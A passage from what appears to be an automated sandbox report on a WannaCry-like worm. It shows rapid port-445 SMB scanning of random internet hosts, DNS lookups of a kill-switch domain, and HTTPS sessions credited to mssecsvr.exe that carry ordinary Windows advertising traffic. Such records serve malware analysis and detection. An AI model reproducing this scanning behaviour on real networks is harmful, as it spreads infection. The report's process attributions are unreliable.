Jul 20, 2022 15:47:52.257081032 CEST	445	64397	188.18.139.130	192.168.2.7
Jul 20, 2022 15:47:52.257222891 CEST	64397	445	192.168.2.7	188.18.139.130
Jul 20, 2022 15:47:52.273823977 CEST	445	64398	107.186.141.58	192.168.2.7
Jul 20, 2022 15:47:52.273962021 CEST	64398	445	192.168.2.7	107.186.141.58
Jul 20, 2022 15:47:52.341068029 CEST	445	64397	188.18.139.130	192.168.2.7
Jul 20, 2022 15:47:52.341224909 CEST	64397	445	192.168.2.7	188.18.139.130
Jul 20, 2022 15:47:52.429092884 CEST	445	64397	188.18.139.130	192.168.2.7
Jul 20, 2022 15:47:52.429212093 CEST	64397	445	192.168.2.7	188.18.139.130
Jul 20, 2022 15:47:52.445966959 CEST	445	64398	107.186.141.58	192.168.2.7
Jul 20, 2022 15:47:52.446185112 CEST	64398	445	192.168.2.7	107.186.141.58
Jul 20, 2022 15:47:52.616944075 CEST	445	64398	107.186.141.58	192.168.2.7
Jul 20, 2022 15:47:52.913094997 CEST	64523	445	192.168.2.7	149.20.139.7
Jul 20, 2022 15:47:53.180962086 CEST	64525	445	192.168.2.7	37.23.231.5
Jul 20, 2022 15:47:53.226697922 CEST	64529	445	192.168.2.7	174.33.19.43
Jul 20, 2022 15:47:53.226912022 CEST	64533	445	192.168.2.7	32.137.249.128
Jul 20, 2022 15:47:53.227016926 CEST	64534	445	192.168.2.7	123.201.128.7
Jul 20, 2022 15:47:53.274487019 CEST	64536	445	192.168.2.7	98.2.102.7
Jul 20, 2022 15:47:53.275182962 CEST	64542	445	192.168.2.7	84.34.69.110
Jul 20, 2022 15:47:53.276078939 CEST	64554	445	192.168.2.7	46.254.92.35
Jul 20, 2022 15:47:53.276398897 CEST	64558	445	192.168.2.7	218.229.86.125
Jul 20, 2022 15:47:53.276655912 CEST	64560	445	192.168.2.7	100.56.211.60
Jul 20, 2022 15:47:53.276923895 CEST	64564	445	192.168.2.7	215.66.213.180
Jul 20, 2022 15:47:53.277395010 CEST	64570	445	192.168.2.7	195.51.215.61
Jul 20, 2022 15:47:53.277834892 CEST	64576	445	192.168.2.7	199.14.216.112
Jul 20, 2022 15:47:53.278470993 CEST	64584	445	192.168.2.7	208.19.42.14
Jul 20, 2022 15:47:53.278868914 CEST	64589	445	192.168.2.7	6.216.156.102
Jul 20, 2022 15:47:53.279419899 CEST	64596	445	192.168.2.7	163.222.178.167
Jul 20, 2022 15:47:53.280347109 CEST	64582	445	192.168.2.7	154.252.14.245
Jul 20, 2022 15:47:53.280375957 CEST	64603	445	192.168.2.7	22.13.134.62
Jul 20, 2022 15:47:53.281209946 CEST	64613	445	192.168.2.7	149.95.4.241
Jul 20, 2022 15:47:53.281877995 CEST	64622	445	192.168.2.7	6.243.226.133
Jul 20, 2022 15:47:53.282032013 CEST	64624	445	192.168.2.7	81.195.2.44
Jul 20, 2022 15:47:53.282171965 CEST	64577	445	192.168.2.7	119.224.219.139
Jul 20, 2022 15:47:53.282198906 CEST	64618	445	192.168.2.7	125.104.241.86
Jul 20, 2022 15:47:53.283019066 CEST	64637	445	192.168.2.7	29.52.59.204
Jul 20, 2022 15:47:53.283091068 CEST	64638	445	192.168.2.7	78.105.16.250
Jul 20, 2022 15:47:53.283238888 CEST	64640	445	192.168.2.7	139.202.155.92
Jul 20, 2022 15:47:53.283325911 CEST	64597	445	192.168.2.7	15.86.130.248
Jul 20, 2022 15:47:53.283723116 CEST	64644	445	192.168.2.7	158.185.72.110
Jul 20, 2022 15:47:53.283878088 CEST	64645	445	192.168.2.7	194.205.102.234
Jul 20, 2022 15:47:53.991398096 CEST	64648	445	192.168.2.7	149.20.139.8
Jul 20, 2022 15:47:54.257230043 CEST	64650	445	192.168.2.7	37.23.231.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 20, 2022 15:43:15.528564930 CEST	60335	53	192.168.2.7	8.8.8.8
Jul 20, 2022 15:43:15.547760963 CEST	53	60335	8.8.8.8	192.168.2.7
Jul 20, 2022 15:43:16.924798012 CEST	60978	53	192.168.2.7	8.8.8.8
Jul 20, 2022 15:43:16.942362070 CEST	53	60978	8.8.8.8	192.168.2.7
Jul 20, 2022 15:43:18.759006977 CEST	63557	53	192.168.2.7	8.8.8.8
Jul 20, 2022 15:43:18.781912088 CEST	53	63557	8.8.8.8	192.168.2.7
Jul 20, 2022 15:43:32.059010983 CEST	138	138	192.168.2.7	192.168.2.255
Jul 20, 2022 15:47:29.549700022 CEST	138	138	192.168.2.7	192.168.2.255

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jul 20, 2022 15:43:23.515453100 CEST	46.229.151.140	192.168.2.7	a2a2	(Host unreachable)	Destination Unreachable
Jul 20, 2022 15:43:40.969075918 CEST	115.42.246.126	192.168.2.7	f42c	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 15:43:47.761816025 CEST	10.240.0.70	192.168.2.7	84bd	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 15:43:48.699374914 CEST	62.80.98.26	192.168.2.7	1598	(Unknown)	Destination Unreachable
Jul 20, 2022 15:43:48.717542887 CEST	85.253.6.87	192.168.2.7	dcaa	(Unknown)	Destination Unreachable
Jul 20, 2022 15:43:51.233436108 CEST	103.12.177.181	192.168.2.7	aedc	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 15:43:56.741446018 CEST	89.236.192.130	192.168.2.7	4b55	(Unknown)	Destination Unreachable
Jul 20, 2022 15:43:58.470222950 CEST	95.237.203.181	192.168.2.7	d35d	(Unknown)	Destination Unreachable
Jul 20, 2022 15:44:00.476789951 CEST	103.157.249.131	192.168.2.7	20ed	(Unknown)	Destination Unreachable
Jul 20, 2022 15:44:04.837948084 CEST	92.116.8.137	192.168.2.7	295c	(Unknown)	Destination Unreachable
Jul 20, 2022 15:44:08.749934912 CEST	200.246.112.2	192.168.2.7	8808	(Unknown)	Destination Unreachable
Jul 20, 2022 15:44:09.737801075 CEST	94.176.7.27	192.168.2.7	f9a6	(Unknown)	Destination Unreachable
Jul 20, 2022 15:44:13.675789118 CEST	174.33.181.1	192.168.2.7	80fd	(Net unreachable)	Destination Unreachable
Jul 20, 2022 15:44:15.453274965 CEST	91.6.168.209	192.168.2.7	4f16	(Unknown)	Destination Unreachable
Jul 20, 2022 15:44:16.571055889 CEST	80.3.129.14	192.168.2.7	221b	(Unknown)	Destination Unreachable
Jul 20, 2022 15:44:16.975193977 CEST	205.145.128.253	192.168.2.7	41e	(Host unreachable)	Destination Unreachable
Jul 20, 2022 15:44:17.127377033 CEST	66.221.163.57	192.168.2.7	a5e2	(Unknown)	Destination Unreachable
Jul 20, 2022 15:44:19.472326040 CEST	41.182.64.244	192.168.2.7	5f1f	(Unknown)	Destination Unreachable
Jul 20, 2022 15:44:20.389900923 CEST	95.166.140.222	192.168.2.7	6ac9	(Unknown)	Destination Unreachable
Jul 20, 2022 15:44:23.226187944 CEST	203.172.119.114	192.168.2.7	f983	(Host unreachable)	Destination Unreachable
Jul 20, 2022 15:44:25.311614037 CEST	192.168.50.116	192.168.2.7	213c	(Host unreachable)	Destination Unreachable
Jul 20, 2022 15:44:29.522047043 CEST	12.247.24.30	192.168.2.7	b5ca	(Host unreachable)	Destination Unreachable
Jul 20, 2022 15:44:35.535450935 CEST	88.64.179.7	192.168.2.7	32dd	(Host unreachable)	Destination Unreachable
Jul 20, 2022 15:44:36.214263916 CEST	195.110.169.4	192.168.2.7	2412	(Host unreachable)	Destination Unreachable
Jul 20, 2022 15:44:39.708209991 CEST	209.90.173.206	192.168.2.7	3b	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 15:44:39.727056026 CEST	116.202.175.83	192.168.2.7	c28b	(Host unreachable)	Destination Unreachable
Jul 20, 2022 15:44:40.097543955 CEST	91.243.187.241	192.168.2.7	718e	(Unknown)	Destination Unreachable
Jul 20, 2022 15:44:45.586394072 CEST	10.8.8.1	192.168.2.7	20ab	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 15:44:47.895144939 CEST	82.118.25.9	192.168.2.7	76f5	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 15:44:52.033606052 CEST	41.193.208.93	192.168.2.7	7e9e	(Host unreachable)	Destination Unreachable
Jul 20, 2022 15:44:59.461513042 CEST	204.148.54.30	192.168.2.7	3b6c	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 15:45:02.908555031 CEST	84.118.215.218	192.168.2.7	3f01	(Unknown)	Destination Unreachable
Jul 20, 2022 15:45:04.917916059 CEST	192.168.2.7	8.8.8.8	d045	(Port unreachable)	Destination Unreachable
Jul 20, 2022 15:45:07.692378044 CEST	66.119.206.18	192.168.2.7	bd78	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 15:45:09.816243887 CEST	146.63.71.44	192.168.2.7	dd16	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 15:45:11.889060020 CEST	178.142.235.132	192.168.2.7	80bc	(Unknown)	Destination Unreachable
Jul 20, 2022 15:45:16.573637009 CEST	218.248.57.189	192.168.2.7	df6c	(Unknown)	Destination Unreachable
Jul 20, 2022 15:45:17.349369049 CEST	41.74.176.250	192.168.2.7	fb41	(Host unreachable)	Destination Unreachable
Jul 20, 2022 15:45:19.100296974 CEST	201.117.239.110	192.168.2.7	12f	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 15:45:21.830398083 CEST	38.85.220.156	192.168.2.7	c2bd	(Unknown)	Destination Unreachable
Jul 20, 2022 15:45:21.959635019 CEST	103.217.84.1	192.168.2.7	a4ad	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 15:45:28.568737030 CEST	31.18.158.116	192.168.2.7	be06	(Unknown)	Destination Unreachable
Jul 20, 2022 15:45:30.884692907 CEST	93.158.32.93	192.168.2.7	3e6a	(Unknown)	Destination Unreachable
Jul 20, 2022 15:45:33.067210913 CEST	213.19.199.42	192.168.2.7	1022	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 15:45:34.139976025 CEST	89.56.53.2	192.168.2.7	b19e	(Unknown)	Destination Unreachable
Jul 20, 2022 15:45:35.310823917 CEST	217.233.173.8	192.168.2.7	de76	(Unknown)	Destination Unreachable
Jul 20, 2022 15:45:35.405556917 CEST	92.217.173.92	192.168.2.7	7d5f	(Unknown)	Destination Unreachable
Jul 20, 2022 15:45:36.971081972 CEST	87.231.249.14	192.168.2.7	401d	(Port unreachable)	Destination Unreachable
Jul 20, 2022 15:45:39.953258038 CEST	92.252.17.150	192.168.2.7	55e6	(Unknown)	Destination Unreachable
Jul 20, 2022 15:45:43.074115038 CEST	162.144.240.23	192.168.2.7	dd02	(Host unreachable)	Destination Unreachable
Jul 20, 2022 15:45:50.951106071 CEST	78.50.238.56	192.168.2.7	80e8	(Unknown)	Destination Unreachable
Jul 20, 2022 15:45:51.029097080 CEST	70.159.208.35	192.168.2.7	42ae	(Unknown)	Destination Unreachable
Jul 20, 2022 15:45:52.010026932 CEST	88.74.5.149	192.168.2.7	b652	(Unknown)	Destination Unreachable
Jul 20, 2022 15:45:54.408643961 CEST	4.28.60.238	192.168.2.7	3562	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 15:45:54.457911968 CEST	95.128.240.2	192.168.2.7	1fb1	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 15:45:55.215111971 CEST	5.188.123.129	192.168.2.7	573	(Host unreachable)	Destination Unreachable
Jul 20, 2022 15:45:56.950690985 CEST	45.132.113.140	192.168.2.7	5ed9	(Unknown)	Destination Unreachable
Jul 20, 2022 15:45:59.031837940 CEST	188.22.134.188	192.168.2.7	7e96	(Unknown)	Destination Unreachable
Jul 20, 2022 15:46:01.298939943 CEST	84.60.211.218	192.168.2.7	adfd	(Unknown)	Destination Unreachable
Jul 20, 2022 15:46:03.950521946 CEST	170.55.65.193	192.168.2.7	9c98	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 15:46:04.115852118 CEST	185.2.37.28	192.168.2.7	58ca	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 15:46:10.435844898 CEST	74.206.96.234	192.168.2.7	8ecc	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 15:46:12.877983093 CEST	219.112.174.54	192.168.2.7	62be	(Unknown)	Destination Unreachable
Jul 20, 2022 15:46:15.886596918 CEST	79.226.20.245	192.168.2.7	d04e	(Unknown)	Destination Unreachable
Jul 20, 2022 15:46:15.896404982 CEST	81.228.90.141	192.168.2.7	1e4d	(Unknown)	Destination Unreachable
Jul 20, 2022 15:46:18.557723999 CEST	200.78.150.53	192.168.2.7	bbdf	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 15:46:19.703100920 CEST	177.91.178.77	192.168.2.7	7bfa	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 15:46:20.267863035 CEST	192.168.233.159	192.168.2.7	cfc4	(Host unreachable)	Destination Unreachable
Jul 20, 2022 15:46:21.830423117 CEST	87.245.233.198	192.168.2.7	bef3	(Net unreachable)	Destination Unreachable
Jul 20, 2022 15:46:22.050051928 CEST	1.213.11.42	192.168.2.7	cfe3	(Unknown)	Destination Unreachable
Jul 20, 2022 15:46:22.959496021 CEST	24.187.107.238	192.168.2.7	d4d3	(Unknown)	Destination Unreachable
Jul 20, 2022 15:46:28.786221981 CEST	213.211.213.31	192.168.2.7	cd89	(Unknown)	Destination Unreachable
Jul 20, 2022 15:46:29.096343040 CEST	154.14.174.180	192.168.2.7	8182	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 15:46:35.696389914 CEST	32.132.91.254	192.168.2.7	a96	(Host unreachable)	Destination Unreachable
Jul 20, 2022 15:46:45.755028009 CEST	179.63.253.18	192.168.2.7	69f8	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 15:46:47.769558907 CEST	68.169.38.25	192.168.2.7	d321	(Host unreachable)	Destination Unreachable
Jul 20, 2022 15:46:48.993803978 CEST	194.209.255.68	192.168.2.7	2df3	(Net unreachable)	Destination Unreachable
Jul 20, 2022 15:46:50.348814011 CEST	142.254.88.215	192.168.2.7	a79e	(Unknown)	Destination Unreachable
Jul 20, 2022 15:46:51.466733932 CEST	129.146.160.184	192.168.2.7	e216	(Unknown)	Destination Unreachable
Jul 20, 2022 15:46:54.767641068 CEST	2.205.200.88	192.168.2.7	e5b3	(Unknown)	Destination Unreachable
Jul 20, 2022 15:46:59.386703968 CEST	65.152.102.114	192.168.2.7	3ee9	(Unknown)	Destination Unreachable
Jul 20, 2022 15:47:03.899410009 CEST	31.41.91.174	192.168.2.7	7b41	(Host unreachable)	Destination Unreachable
Jul 20, 2022 15:47:05.424221039 CEST	213.207.15.212	192.168.2.7	ef8b	(Host unreachable)	Destination Unreachable
Jul 20, 2022 15:47:10.669318914 CEST	195.202.133.126	192.168.2.7	bb50	(Unknown)	Destination Unreachable
Jul 20, 2022 15:47:10.685978889 CEST	31.150.173.149	192.168.2.7	9073	(Unknown)	Destination Unreachable
Jul 20, 2022 15:47:15.159725904 CEST	201.174.254.194	192.168.2.7	14cc	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 15:47:17.394139051 CEST	49.205.247.40	192.168.2.7	a426	(Port unreachable)	Destination Unreachable
Jul 20, 2022 15:47:19.114576101 CEST	2.203.241.25	192.168.2.7	4c41	(Unknown)	Destination Unreachable
Jul 20, 2022 15:47:19.578243017 CEST	46.151.72.14	192.168.2.7	33fa	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 15:47:19.873806000 CEST	89.16.81.182	192.168.2.7	addd	(Host unreachable)	Destination Unreachable
Jul 20, 2022 15:47:21.653616905 CEST	150.99.189.2	192.168.2.7	9cb7	(Net unreachable)	Destination Unreachable
Jul 20, 2022 15:47:22.705249071 CEST	77.75.183.1	192.168.2.7	c51d	(Host unreachable)	Destination Unreachable
Jul 20, 2022 15:47:28.573396921 CEST	64.197.121.42	192.168.2.7	1b12	(Unknown)	Destination Unreachable
Jul 20, 2022 15:47:35.164113998 CEST	94.216.248.114	192.168.2.7	57bf	(Unknown)	Destination Unreachable
Jul 20, 2022 15:47:35.940582037 CEST	81.27.42.20	192.168.2.7	3e9d	(Host unreachable)	Destination Unreachable
Jul 20, 2022 15:47:41.775945902 CEST	10.225.5.11	192.168.2.7	a9a3	(Host unreachable)	Destination Unreachable
Jul 20, 2022 15:47:44.398386955 CEST	194.2.122.206	192.168.2.7	8e97	(Unknown)	Destination Unreachable
Jul 20, 2022 15:47:50.799740076 CEST	83.132.212.83	192.168.2.7	e7ac	(Host unreachable)	Destination Unreachable
Jul 20, 2022 15:47:52.434802055 CEST	154.195.72.169	192.168.2.7	a338	(Unknown)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jul 20, 2022 15:43:15.528564930 CEST	192.168.2.7	8.8.8.8	0x8bef	Standard query (0)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	A (IP address)	IN (0x0001)
Jul 20, 2022 15:43:16.924798012 CEST	192.168.2.7	8.8.8.8	0xbe94	Standard query (0)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	A (IP address)	IN (0x0001)
Jul 20, 2022 15:43:18.759006977 CEST	192.168.2.7	8.8.8.8	0x234b	Standard query (0)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jul 20, 2022 15:43:15.547760963 CEST	8.8.8.8	192.168.2.7	0x8bef	Server failure (2)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	none	none	A (IP address)	IN (0x0001)
Jul 20, 2022 15:43:16.942362070 CEST	8.8.8.8	192.168.2.7	0xbe94	Server failure (2)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	none	none	A (IP address)	IN (0x0001)
Jul 20, 2022 15:43:18.781912088 CEST	8.8.8.8	192.168.2.7	0x234b	Server failure (2)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	none	none	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

arc.msn.com

https:

b-ring.msedge.net

fp-as.azureedge.net

settings-win.data.microsoft.com

www.bing.com

img-prod-cms-rt-microsoft-com.akamaized.net

sls.update.microsoft.com

ris.api.iris.microsoft.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.7	49726	20.40.136.238	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:43:02 UTC	0	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=314559&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220308T161849Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=3e411708572049afa944971bcf9635c0&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1418173&metered=false&nettype=ethernet&npid=sc-314559&oemName=VMware%2C%20Inc.&oemid=VMware%2C%20Inc.&ossku=Professional&smBiosDm=VMware7%2C1&tl=2&tsu=1418173&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6 Cache-Control: no-cache MS-CV: mgz54+09ikKwYzUV.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 13:43:02 UTC	3	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=702 Content-Length: 53753 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"2,P425106554-T700342084-C128000000001392709+B+P80+S1,P425106558-T700342085-C128000000001392729+B+P80+S2"},{"BATCH_REDIRECT_STORE":"1,BB_9NXQXXLFST89_9WZDNCRFHVFW_9WZDNCRFJ3P2_9NCBCSZSJRSB_9NMPJ99VJBWV_9NBLGGH5FV99_9WZDNCRDFNG7+P0+S0"},{"BATCH_REDIRECT_STORE":"1,BB_9NBLGGGZM6WM_9WZDNCRFHWD2_9NH2GPH4JZS4_9NBLGGH6J6VK_9P6RC76MSMMJ_9WZDNCRFJ27N_9N0866FS04W8_9WZDNCRFJ10M_9WZDNCRFJ140_9NC2FBTHCJV8_9NBLGGH1CQ7L+P0+S0"},{"OPTOUTSTATE":"256"}] X-ARC-SIG: F9b+hEOuHl58vulWIrpNTFNe54clQQq3GNZqHsvJY0xeGoonVVeZ3J4AnOELZ6nymFk/CJb3YG3DbNxM1qfFvE1HuObaqjj9YKHjOSyl8/CATjcQilA5FWlzRiAZypX0aHmzZj+Je/l4BjhOiGGe72b2GkVreJ54gr+XaXnACOA4py1m4TU6kNZj8iY8/ngordHKU38MG6ZCFRJk+LuUcFwH0dDHBmy3lmT1kbkNreC21QnFITW4DNAZKFuf7iKHH+0WR+G+ZTbvQWOaPN8YsQxmRCZYhs3GD+9aHki9slimivPkb/hh5Mr/KHbPj0oAQmRLLo09y7aRm/8qBR9ATg== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 13:43:01 GMT Connection: close
2022-07-20 13:43:02 UTC	4	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 73 74 6f 72 65 43 61 6d 70 61 69 67 6e 49 64 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 74 65 78 74 5c 22 2c 5c 22 69 73 4f 70 74 69 6f 6e 61 6c 5c 22 3a 74 72 75 65 7d 2c 5c 22 69 6e 73 74 61 6c 6c 41 70 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 62 6f 6f 6c 65 61 6e 5c Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"u\":\"SubscribedContent\",\"c\":\"CDM\"}],\"ad\":{\"itemPropertyManifest\":{\"storeCampaignId\":{\"type\":\"text\",\"isOptional\":true},\"installApp\":{\"type\":\"boolean\
2022-07-20 13:43:02 UTC	19	IN	Data Raw: 22 3a 5c 22 63 6c 69 63 6b 5c 22 2c 5c 22 70 61 72 61 6d 65 74 65 72 73 5c 22 3a 7b 5c 22 75 72 69 5c 22 3a 5c 22 6d 73 2d 77 69 6e 64 6f 77 73 2d 73 74 6f 72 65 3a 5c 2f 5c 2f 70 64 70 5c 2f 3f 70 72 6f 64 75 63 74 69 64 3d 39 6e 62 6c 67 67 68 35 66 76 39 39 26 6f 63 69 64 3d 65 6d 73 2e 64 63 6f 2e 73 74 61 72 74 70 72 6f 67 72 61 6d 6d 61 62 6c 65 26 63 63 69 64 3d 62 34 30 63 64 39 66 64 35 36 37 39 34 65 36 64 61 65 61 34 32 33 32 32 65 66 33 33 66 38 30 34 26 63 69 64 3d 6d 73 66 74 5f 31 5c 22 7d 2c 5c 22 61 63 74 69 6f 6e 5c 22 3a 5c 22 6c 61 75 6e 63 68 55 72 69 5c 22 7d 2c 5c 22 6f 6e 52 65 6e 64 65 72 5c 22 3a 7b 5c 22 65 76 65 6e 74 5c 22 3a 5c 22 6f 70 70 6f 72 74 75 6e 69 74 79 5c 22 2c 5c 22 70 61 72 61 6d 65 74 65 72 73 5c 22 3a 7b 7d 2c Data Ascii: ":\"click\",\"parameters\":{\"uri\":\"ms-windows-store:\/\/pdp\/?productid=9nblggh5fv99&ocid=ems.dco.startprogrammable&ccid=b40cd9fd56794e6daea42322ef33f804&cid=msft_1\"},\"action\":\"launchUri\"},\"onRender\":{\"event\":\"opportunity\",\"parameters\":{},
2022-07-20 13:43:02 UTC	35	IN	Data Raw: 70 72 6f 67 72 61 6d 6d 61 62 6c 65 26 63 63 69 64 3d 64 32 30 64 38 32 35 62 62 63 34 64 34 39 61 32 39 38 63 32 30 35 66 30 36 37 64 65 36 36 35 35 26 63 69 64 3d 6d 73 66 74 5f 31 5c 22 7d 2c 5c 22 61 63 74 69 6f 6e 5c 22 3a 5c 22 6c 61 75 6e 63 68 55 72 69 5c 22 7d 2c 5c 22 6f 6e 52 65 6e 64 65 72 5c 22 3a 7b 5c 22 65 76 65 6e 74 5c 22 3a 5c 22 6f 70 70 6f 72 74 75 6e 69 74 79 5c 22 2c 5c 22 70 61 72 61 6d 65 74 65 72 73 5c 22 3a 7b 7d 2c 5c 22 61 63 74 69 6f 6e 5c 22 3a 5c 22 6e 6f 4f 70 5c 22 7d 2c 5c 22 73 68 6f 77 4e 61 6d 65 4f 6e 4d 65 64 69 75 6d 54 69 6c 65 5c 22 3a 7b 5c 22 62 6f 6f 6c 5c 22 3a 74 72 75 65 7d 2c 5c 22 73 68 6f 77 4e 61 6d 65 4f 6e 57 69 64 65 54 69 6c 65 5c 22 3a 7b 5c 22 62 6f 6f 6c 5c 22 3a 74 72 75 65 7d 2c 5c 22 73 68 6f Data Ascii: programmable&ccid=d20d825bbc4d49a298c205f067de6655&cid=msft_1\"},\"action\":\"launchUri\"},\"onRender\":{\"event\":\"opportunity\",\"parameters\":{},\"action\":\"noOp\"},\"showNameOnMediumTile\":{\"bool\":true},\"showNameOnWideTile\":{\"bool\":true},\"sho
2022-07-20 13:43:02 UTC	51	IN	Data Raw: 64 38 31 2d 31 33 31 39 36 66 35 62 61 66 30 30 3f 66 6f 72 6d 61 74 3d 73 6f 75 72 63 65 5c 22 2c 5c 22 77 69 64 74 68 5c 22 3a 31 34 32 2c 5c 22 68 65 69 67 68 74 5c 22 3a 31 34 32 2c 5c 22 73 68 61 32 35 36 5c 22 3a 5c 22 51 50 5c 2f 4a 45 48 4a 59 57 39 38 6d 36 39 4f 4a 4c 42 42 30 59 48 33 64 78 49 6a 70 75 6d 59 72 74 74 4c 46 38 62 66 5c 2f 33 66 77 3d 5c 22 2c 5c 22 66 69 6c 65 53 69 7a 65 5c 22 3a 31 37 30 31 38 7d 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 5c 22 3a 7b 5c 22 6e 75 6d 62 65 72 5c 22 3a 32 2e 30 7d 2c 5c 22 6d 65 64 69 75 6d 54 69 6c 65 5c 22 3a 7b 5c 22 69 6d 61 67 65 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 6f 72 65 2d 69 6d 61 67 65 73 2e 73 2d 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 5c 2f 69 6d 61 67 65 5c 2f 61 70 70 73 Data Ascii: d81-13196f5baf00?format=source\",\"width\":142,\"height\":142,\"sha256\":\"QP\/JEHJYW98m69OJLBB0YH3dxIjpumYrttLF8bf\/3fw=\",\"fileSize\":17018},\"collection\":{\"number\":2.0},\"mediumTile\":{\"image\":\"https:\/\/store-images.s-microsoft.com\/image\/apps

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.7	49725	20.40.136.238	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:43:02 UTC	1	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220308T161849Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=41afac8ea1544e7289c7f8c0784256be&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1418173&metered=false&nettype=ethernet&npid=sc-310091&oemName=VMware%2C%20Inc.&oemid=VMware%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=VMware7%2C1&tl=2&tsu=1418173&waasBldFlt=1&waasC